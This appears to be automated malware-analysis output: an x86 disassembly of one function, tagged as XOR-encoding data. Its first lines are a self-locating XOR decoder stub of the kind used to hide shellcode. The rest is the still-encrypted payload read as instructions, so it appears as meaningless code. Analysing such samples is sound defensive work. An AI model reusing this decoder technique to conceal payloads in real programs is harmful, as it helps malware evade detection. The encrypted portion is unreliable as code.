Function at 0xfdf3d0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xfdf3da
pushal
call 0xfdf3e0
pop ebp
sub ebp, 0x10
sub ebp, 0xbdf3d0
jmp 0xfdf3f6
mov eax, 0xbdf3d0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b2
mov edx, 0x21110371
xor byte [eax], dl
inc eax
dec ecx
jne 0xfdf40d
jmp 0xfdf420
cli
mov esp, 0x714df8fa
jno 0xfdf499
invalid
push ecx
jno 0xfdf467
dec edi
push edx
in al, dx
jno 0xfdf4c3
pop ebp
push ebp
sbb ebx, ebx
test al, 0x72
stosd dword es:[edi], eax
cdq
je 0xfdf4ce
jno 0xfdf4d0
cwde
pop edi
jno 0xfdf4d4
jno 0xfdf461
adc eax, 0x5df88d55
push ebp
cli
popfd
cli
hlt
invalid
sbb ecx, esp
mov eax, dword [0x4f197151]
push edx
in al, dx
jno 0xfdf514
pop ebp
push ebp
cld
adc eax, 0x7df88d55
push ebp
cdq
je 0xfdf521
jno 0xfdf522
jno 0xfdf523
jno 0xfdf44b
cwde
dec eax
jae 0xfdf527
jno 0xfdf4b4
adc eax, 0x5df88d55
push ebp
and eax, 0x7d048e2c
add al, 0x7d
mov es, word [ecx + edi*2]
cdq
pop ss
jno 0xfdf53b
jno 0xfdf4c6
int3
jno 0xfdf541
jno 0xfdf514
mov eax, 0x99f2a342
je 0xfdf512
mov dword [0x397499f2], eax
jle 0xfdf4d0
aas
jno 0xfdf54f
jno 0xfdf55e
stc
cmp dword [ecx + 0x71], esi
jno 0xfdf4fd
cli
insd dword es:[edi], dx
dec eax
int1
mov bl, byte [ecx + 0x716bf57e]
jno 0xfdf563
int1
mov bl, byte [eax + 0x7160f57e]
jno 0xfdf56c
jno 0xfdf513
pop ss
invalid
mov cl, byte [esi + 0x64f57e54]
jno 0xfdf576
jno 0xfdf537
xor byte [eax - 0x71717143], bl
pop eax
cwde
mov ebp, 0x588e8e8e
cmp eax, 0xb0f27048
je 0xfdf506
cdq
cdq
jne 0xfdf4af
int3
mov cs, word [esi + 0x4825588e]
jae 0xfdf512
pop eax
and eax, 0xb0f27348
mov al, 0x77
ja 0xfdf515
wait
wait
jne 0xfdf518
cdq
je 0xfdf4c1
fimul dword [esi - 0x4cd37172]
jge 0xfdf5a2
and al, 0xfa
popfd
daa
and al, 0xfa
cli
add al, 0x7d
cli
or al, 0x79
invalid
ja 0xfdf533
invalid
mov bh, 0x70
jno 0xfdf5b8
jno 0xfdf542
jbe 0xfdf53b
mov dh, 0x70
jno 0xfdf5c0
jno 0xfdf51b
jae 0xfdf5c4
jno 0xfdf5c6
jae 0xfdf4fa
jle 0xfdf54d
je 0xfdf5cc
jno 0xfdf5ce
sti
aaa
arpl word [ebx - 0x71560d82], sp
mov cs, word [esi - 0xb815c8d]
test eax, 0x738e8e8e
mov dword [0x7174f47e], eax
je 0xfdf5df
jno 0xfdf5e1
sti
aaa
arpl word [ebx + 0x711bf27e], sp
sbb esi, dword [ecx + 0x71]
jno 0xfdf5be
jno 0xfdf5ec
inc edx
mov cl, 0x73
mov dword [0x7174f47e], eax
jno 0xfdf5f6
sti
aaa
arpl word [ebx + 0x705bf27e], sp
jno 0xfdf601
jno 0xfdf604
jae 0xfdf535
mov dword [0x7174f47e], eax
jle 0xfdf588
je 0xfdf607
jno 0xfdf609
jno 0xfdf594
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0xfdf597
hlt
je 0xfdf616
jno 0xfdf618
jno 0xfdf5a3
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0xfdf5a6
je 0xfdf625
jno 0xfdf627
jno 0xfdf5b2
sti
aaa
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0xfdf5b5
mov dword [0x7174f47e], eax
hlt
je 0xfdf634
jno 0xfdf636
jno 0xfdf5c1
sti
aaa
arpl word [ebx - 0xa814e9e], sp
jle 0xfdf5c3
ja 0xfdf641
jno 0xfdf643
cli
scasb al, byte es:[edi]
pop edx
test eax, 0x76f972fb
retf 0x7173
jbe 0xfdf611
retf 0x7173
jno 0xfdf579
add dword [esi + 0x70c98e8e], ecx
jno 0xfdf65a
mov cs, word [esi + 0x7170c98e]
jno 0xfdf65b
jno 0xfdf65e
jae 0xfdf58f
mov dword [0x7174f47e], eax
jle 0xfdf5e2
je 0xfdf661
jno 0xfdf663
jno 0xfdf5ee
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
mov dword [0xa373b162], eax
jle 0xfdf5f1
je 0xfdf670
jno 0xfdf672
jno 0xfdf5fd
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x70cab25a]
jno 0xfdf683
repe scasd eax, dword es:[edi]
mov cs, word [esi - 0x354da572]
jo 0xfdf682
jno 0xfdf684
jno 0xfdf692
jle 0xfdf609
hlt
inc ebp
jno 0xfdf689
jno 0xfdf5e2
jo 0xfdf68d
jno 0xfdf68f
jae 0xfdf5c3
jle 0xfdf616
je 0xfdf695
jno 0xfdf697
jno 0xfdf622
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0xfdf625
je 0xfdf6a4
jno 0xfdf6a6
jno 0xfdf631
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x5a86fa27]
cli
xchg byte [edx - 0x7c], bl
adc ch, 0x2f
cwde
jns 0xfdf5d9
pop edx
test byte [edx + 0x79982fd5], al
mov cs, word [esi - 0x6e4fc672]
jns 0xfdf64d
mov cs, word [esi + 0x7991b039]
sti
cmp dword [eax + 0x77fb7991], esi
ja 0xfdf68b
aaa
cli
cdq
enter 0x7170, 0x71
jno 0xfdf6cf
jae 0xfdf600
mov dword [0x7174f47e], eax
jle 0xfdf653
hlt
je 0xfdf6d2
jno 0xfdf6d4
jno 0xfdf65f
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0xfdf662
je 0xfdf6e1
jno 0xfdf6e3
sti
aaa
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0xc7189f0]
jno 0xfdf6f4
or al, 0x71
jno 0xfdf674
invalid
test al, 0x8e
mov cs, word [esi + 0x7189f08e]
invalid
jno 0xfdf701
je 0xfdf6ff
jno 0xfdf700
jno 0xfdf680
invalid
test al, 0x8e
mov cs, word [esi - 0xe760f72]
invalid
int1
jno 0xfdf70b
jno 0xfdf68c
mov al, byte [0x71717171]
invalid
jno 0xfdf717
jno 0xfdf698
mov al, byte [0x71717171]
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
aad 0x2f
cwde
ljmp 0x3777
aaa
inc edx
mov eax, 0x7e7099b1
cmc
imul esi, dword [ecx + 0x71], 0x71
invalid
cdq
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
add dword [edx + 0x70ca2fd5], 0x98717171
add cl, byte [edi + 0x5a2c8e8e]
das
retf 0x7170
invalid
mov gs, word [edx + ebx*2]
pop edx
or al, 0x79
cli
mov dh, 0x2e
das
cli
xchg esp, eax
sub al, 0xb3
jns 0xfdf761
cli
inc ebp
push ebp
cld
adc eax, 0x75987555
jno 0xfdf76d
jno 0xfdf6ff
mov word [ecx + eax*4], ds
sbb al, 0x81
or ecx, 0x71cc82a1
jb 0xfdf6bc
leave
mov eax, dword [0x7271cc82]
mov ah, 0xf0
mov cl, 0x26
invalid
jb 0xfdf77e
jno 0xfdf6d7
salc
jae 0xfdf783
jno 0xfdf6df
jg 0xfdf6b3
test dword [edx], esi
inc ecx
popal
xor al, byte [ecx + 0x61]
xor dword [eax], edi
jle 0xfdf712
xchg dword [esi + 0x75988e8e], ecx
jno 0xfdf797
jno 0xfdf772
dec eax
and esp, dword [ebx + 0x1f481f8]
inc ebx
hlt
jg 0xfdf7d4
jg 0xfdf7c7
sti
cmp dword [edi + 0x7f], edi
jg 0xfdf7d9
test eax, 0x7f77b8fe
jg 0xfdf7e3
jg 0xfdf7e2
jg 0xfdf763
invalid
xchg esi, eax
ja 0xfdf7e7
jg 0xfdf7e9
inc byte [esi + 0x7f7f7f7f]
jo 0xfdf76d
jg 0xfdf7ee
jg 0xfdf7e1
sti
stosd dword es:[edi], eax
add byte [eax + 0x78f41980], 0xbe
xchg edi, eax
jae 0xfdf779
mov esi, 0x9ffc7397
lahf
jo 0xfdf77e
xchg dword [edi + edi*2 + 0x7f], edi
jg 0xfdf7f6
jl 0xfdf802
jg 0xfdf804
jo 0xfdf781
cli
jb 0xfdf808
jg 0xfdf80a
sbb esp, esi
js 0xfdf78d
lahf
xor byte [eax + 0x7f], 0x7f
jl 0xfdf753
jle 0xfdf7ff
cld
cld
mov eax, 0x80b7967d
add byte [eax + 0x7f7f7b96], 0x7f
inc esi
mov esi, 0xafc75ba0
mov edx, es
jg 0xfdf82d
mov edx, 0x7b7ebffe
jg 0xfdf837
mov byte [edx - 0x3a808082], 0xd0
or eax, 0x6f4fa48a
dec edi
outsd dx, dword [esi]
aas
jo 0xfdf7c2
cli
mov dword [eax + 0x7b968080], eax
jg 0xfdf84f
jg 0xfdf7c4
jle 0xfdf7d4
and dword [ebx - 0x52], ebx
in al, dx
pop ebx
insb byte es:[edi], dx
out 0x50, eax
rcl al, 1
rcl bl, 1
push ebx
push ebx
scasd eax, dword es:[edi]
invalid
pop ss
rcl al, 1
rol byte [edi + 0x5b], 1
rcl al, 1
inc edi
pop ebx
test al, 0xdc
inc edi
rcl dword [esi], cl
fadd qword [edi - 0x2d]
push ss
pop ebp
mov ah, 0xf4
sub al, 0x59
pop ecx
aam 0xf4
das
inc ebp
xchg esp, eax
dec esp
rcl byte [ecx + 0x28]
rcl al, 1
rcl al, 1
fist word [ebp - 0x24]
push ecx
sub al, dl
rcl al, 1
rcr bh, 1
push ebp
invalid
rcl al, 1
rcr byte [ebx - 0x69], 1
invalid
rcl al, 0xdf
push esp
mov ebx, 0x5dd0d0d0
mov ah, 0xf4
sub al, 0x59
cld
hlt
hlt
rcl al, 1
push edi
cmp dword [ebx - 0x47], ebx
rcl byte [edi + 0x39]
add byte [edx + 0x59df19db], 0xdc
rcl al, 1
rcr byte [ebp - 0x4c], 1
hlt